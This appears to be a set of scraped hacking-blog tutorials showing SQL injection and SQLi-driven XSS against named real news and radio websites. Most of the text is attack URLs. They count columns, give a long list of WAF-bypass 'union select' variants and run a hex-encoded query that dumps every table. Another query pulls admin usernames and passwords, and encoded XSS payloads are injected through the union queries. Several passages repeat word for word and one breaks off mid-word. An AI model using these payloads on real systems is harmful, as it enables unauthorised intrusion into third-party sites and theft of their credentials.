http://radiozhakkasmarathi.in/full_review.php?id=3' order by 1-- -
No Error !
http://radiozhakkasmarathi.in/full_review.php?id=3' order by 3-- -
No Error!
http://radiozhakkasmarathi.in/full_review.php?id=3' order by 6-- -
Again No Error !
http://radiozhakkasmarathi.in/full_review.php?id=3' order by 7-- -
Here We Get Error !
Error 2
Now Try To Find Our Vulnerable Columns.
http://radiozhakkasmarathi.in/full_review.php?id=-3' union select 1,2,3,4,5,6-- -
If Our Target site Is Protected with WAF . WAF Will Block Our Query and Give Us Mod_Security Error.
So Here some WAF Bypassing Methods.
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
Just Change The Union Select With Following Bypass URLs.
Lets Continue Our Tutorial.
Here Are Some Vulnerable Columns Checking Methods With Examples.
Using And 0
http://www.targetsite.com/news.php?id=11 and 0 Union Select 1,2,3,4,5--+
Using And False
http://www.targetsite.com/news.php?id=11 and false Union Select 1,2,3,4,5--+
Using Div 0
http://www.targetsite.com/news.php?id=11 Div 0 Union Select 1,2,3,4,5--+
Using null
http://www.targetsite.com/news.php?id=null Union Select 1,2,3,4,5--+
Using .1337
http://www.targetsite.com/news.php?id=11.1337 Union Select 1,2,3,4,5--+
http://www.targetsite.com/news.php?id=-11 Union Select 1,2,3,4,5--+
and
**************For Our Target We use
/*!50000union */ and concat/*!50000()*/
http://radiozhakkasmarathi.in/full_review.php?id=-3' /*!50000union */ select 1,2,3,4,5,6-- -
We Will Get Our Vulnerable Columns Printed On The Page.2 is Our Vulnerable Column.
Here Are Some Variables Of MYSQL.
@@version = Current Version
@@GLOBAL.VERSION = Current Version
User() = Current User
Database = Current Database
for Version :http://radiozhakkasmarathi.in/full_review.php?id=-3' /*!50000union */ select 1,@@version ,3,4,5,6-- -
We Can See Current Version Printed on the Page.
Next Step Is To Get The Tables.
we DIOS it
http://radiozhakkasmarathi.in/full_review.php?id=3' and 0 /*!50000Union*/ Select 1,concat/*!50000(0x3c666f6e7420636f6c6f723d7265643e3c746974746c653e4d722e635962337277615272696f725f41646573686b6f6c74653c746974746c653e,0x3c6c693e,version(),0x3c6c693e,user(),0x3c6c693e,database(),make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@))*/,3,4,5,6-- -
Lets Execute our DIOS Query
We can See Total Tables in Our Primary Database.
Now if you Want To Get Admin Details Of The Target Site check the Table name of Admin.
then write Query
Example:
http://radiozhakkasmarathi.in/full_review.php?id=3' and 0 /*!50000Union*/ Select 1,concat/*!50000(username,0x3a3a,password)*/,3,4,5,6 from site_user -- -
For Video TUtorial
Enjoy :]
Tutorial By Adesh kolte
contact Us on FB
https://www.facebook.com/kolteAdesh
xss via SqL injection part 2 tutorial
Manipulating SQL Injection Queries in XSS Payload
If we go on Further , we can also show our SQLi Queries Result in a XSS POP-Up Alert.We will insert our SQLi Queries in XSS Payload for showing up SQL Queries output in a POP-Up.
First let's say we want to Show The Current Version of the Target Site in a XSS POP-Up .See the example,
Our XSS Payload for Showing Version in a POP-Up:
<img src=x onerror="javascript:alert('Your_name:Version:,version(),0x')">
The Red highlighted Text is our SQLi Query and Blue Text is injector name and the Green Text is That we have put for our Variable , and the Other one is Our XSS Payload.
Before executing our Query we need to encode our XSS Payload in Hex Value.
Hex Value of XSS Payload:
0x3c696d67207372633d78206f6e6572726f723d226a6176617363726970743a616c6572742827496e6a6563746564206279204d722e437962337277617272696f725f41646573687e3a56657273696f6e3a,version(),0x30782729223e
Let's insert our XSS Payload in the Vulnerable column for Showing the Pop-up for Current Version.
http://www.lokmat.com/storypage.php?catid=31&newsid=3448'union select 1,2,concat(0x3c696d67207372633d78206f6e6572726f723d226a6176617363726970743a616c6572742827496e6a6563746564206279204d722e437962337277617272696f725f41646573687e3a56657273696f6e3a,version(),0x30782729223e
),4,5,6,7,8,9--+
Let's Execute our Payload:
Let's Add it in our XSS Payload :
If we go on Further , we can also show our SQLi Queries Result in a XSS POP-Up Alert.We will insert our SQLi Queries in XSS Payload for showing up SQL Queries output in a POP-Up.
First let's say we want to Show The Current Version of the Target Site in a XSS POP-Up .See the example,
Our XSS Payload for Showing Version in a POP-Up:
<img src=x onerror="javascript:alert('Your_name:Version:,version(),0x')">
The Red highlighted Text is our SQLi Query and Blue Text is injector name and the Green Text is That we have put for our Variable , and the Other one is Our XSS Payload.
Before executing our Query we need to encode our XSS Payload in Hex Value.
Hex Value of XSS Payload:
0x3c696d67207372633d78206f6e6572726f723d226a6176617363726970743a616c6572742827496e6a6563746564206279204d722e437962337277617272696f725f41646573687e3a56657273696f6e3a,version(),0x30782729223e
Let's insert our XSS Payload in the Vulnerable column for Showing the Pop-up for Current Version.
http://www.lokmat.com/storypage.php?catid=31&newsid=3448'union select 1,2,concat(0x3c696d67207372633d78206f6e6572726f723d226a6176617363726970743a616c6572742827496e6a6563746564206279204d722e437962337277617272696f725f41646573687e3a56657273696f6e3a,version(),0x30782729223e
),4,5,6,7,8,9--+
Let's Execute our Payload:
and here we got the Current Version in a XSS Pop-up.We can Do the Same For the Current Database and user.
After POP-UP the Version next part is To Showing Tables in a XSS POP-UP Alert.So we have to Insert our Query in XSS Payload for Displaying them in XSS Alert.
Here is our DIOS Query for getting Tables from the Current Database.
After POP-UP the Version next part is To Showing Tables in a XSS POP-UP Alert.So we have to Insert our Query in XSS Payload for Displaying them in XSS Alert.
Here is our DIOS Query for getting Tables from the Current Database.
(select group_concat(table_name) from information_schema.tables where table_Schema=database())
Let's Add this DIOS Query in our XSS Payload .
http://www.lokmat.com/storypage.php?catid=31&newsid=3448'union select 1,2,concat(0x3c696d67207372633d78206f6e6572726f723d226a6176617363726970743a616c6572742827496e6a6563746564204279204d722e637962337277617272696f7241646573687e3a56657273696f6e3a,version(),(select group_concat(table_name) from information_schema.tables where table_Schema=database()),0x30782729223e),4,5,6,7,8,9--+
Now execute this Query and Check the output Response
:
We got the Tables from the current Database . But if we go on Further and add HTML TAGS for Starting each Table in a New Line like <BR>.But Here This HTML Doesn't Work.
In XSS we use " \n " which is used for showing each result in a new Line.So will add This Part to Our DIOS Query to show All Tables in a New Line in our XSS Pop-Up.
We Need to First Encode it in Hex Value and then Insert into DIOS Query.
HEX Value: \n :0x5c6e
\n converted into hex 0x5c6e
In XSS we use " \n " which is used for showing each result in a new Line.So will add This Part to Our DIOS Query to show All Tables in a New Line in our XSS Pop-Up.
We Need to First Encode it in Hex Value and then Insert into DIOS Query.
HEX Value: \n :0x5c6e
\n converted into hex 0x5c6e
Let's Add it in our XSS Payload :
http://www.lokmat.com/storypage.php?catid=31&newsid=3448'union select 1,2,concat(0x3c696d67207372633d78206f6e6572726f723d226a6176617363726970743a616c6572742827496e6a6563746564204279204d722e637962337277617272696f7241646573687e3a56657273696f6e3a,version(),(select group_concat(0x5c6e,table_name) from information_schema.tables where table_Schema=database()),0x30782729223e),4,5,6,7,8,9--+
And Here we can see all tables are starting from a New line in XSS Pop-up Alert Box.We can do the Same For Columns by adding that Part in our DIOS Query.I Leave That part for You Guys.
Enjoy :]
Xss using Sql injection Tutorial 1
Tn this Tutorial you will learn XSS Attack via SQL Injection.
If you are knew to XSS then i Suggest You To First Read out the Basics from the Previous Tutorial to know How it Works and What a attacker can do with XSS vulnerability.Once you have the Basic knowledge About XSS Attack then you will be able to better Understand this Tutorial "XSS with SQL Injection".
In XSS Attack via SQL Injection we will Execute our XSS payloads in UNION BASEDquery.
For Example:
We have Found a website Which is vulnerable to SQL Injection and inject into the database.But there we can also Execute our XSS Payloads in our Union Based Query.lets Take a site for Practice,
Here is The TARGET Site
http://www.lokmat.com/storypage.php?catid=31&newsid=3448
After Counting the Columns there are 9 Total Number of Columns.So let's ready up our Union Based Query and execute it .
http://www.lokmat.com/storypage.php?catid=31&newsid=3448'union select 1,2,3,4,5,6,7,8,9--+
There we got 3rd Column is printed on the page as output , So we will execute our XSS Payload in that column
Here is the our XSS Payload that we are going to inject into the UNION BASED Query,
XSS PAYLOAD : <script>alert('Injected BY Mr.cyb3rwarrior-Adeshkolte');</script>
Before executing this Payload we need to Encode it in HEX Value (use hackbar)
HexValue:0x3c7363726970743e616c6572742827496e6a6563746564204259204d722e637962337277617272696f722d41646573686b6f6c746527293b3c2f7363726970743e
Let's Insert this payload in our Union Based Query and Execute the query,
http://www.lokmat.com/storypage.php?catid=31&newsid=3448'union select 1,2,0x3c7363726970743e616c6572742827496e6a6563746564204259204d722e637962337277617272696f722d41646573686b6f6c746527293b3c2f7363726970743e,4,5,6,7,8,9--+
output
This Payload will Display us a XSS Pop-up Alert .This is the basic XSS Payload
Enjoy
This is the basic XSS Payload ,you can try more Payloads which will posted in the next tutoria
If you are knew to XSS then i Suggest You To First Read out the Basics from the Previous Tutorial to know How it Works and What a attacker can do with XSS vulnerability.Once you have the Basic knowledge About XSS Attack then you will be able to better Understand this Tutorial "XSS with SQL Injection".
In XSS Attack via SQL Injection we will Execute our XSS payloads in UNION BASEDquery.
For Example:
We have Found a website Which is vulnerable to SQL Injection and inject into the database.But there we can also Execute our XSS Payloads in our Union Based Query.lets Take a site for Practice,
Here is The TARGET Site
http://www.lokmat.com/storypage.php?catid=31&newsid=3448
After Counting the Columns there are 9 Total Number of Columns.So let's ready up our Union Based Query and execute it .
http://www.lokmat.com/storypage.php?catid=31&newsid=3448'union select 1,2,3,4,5,6,7,8,9--+
There we got 3rd Column is printed on the page as output , So we will execute our XSS Payload in that column
Here is the our XSS Payload that we are going to inject into the UNION BASED Query,
XSS PAYLOAD : <script>alert('Injected BY Mr.cyb3rwarrior-Adeshkolte');</script>
Before executing this Payload we need to Encode it in HEX Value (use hackbar)
HexValue:0x3c7363726970743e616c6572742827496e6a6563746564204259204d722e637962337277617272696f722d41646573686b6f6c746527293b3c2f7363726970743e
Let's Insert this payload in our Union Based Query and Execute the query,
http://www.lokmat.com/storypage.php?catid=31&newsid=3448'union select 1,2,0x3c7363726970743e616c6572742827496e6a6563746564204259204d722e637962337277617272696f722d41646573686b6f6c746527293b3c2f7363726970743e,4,5,6,7,8,9--+
output
This Payload will Display us a XSS Pop-up Alert .This is the basic XSS Payload
Enjoy
This is the basic XSS Payload ,you can try more Payloads which will posted in the next tutoria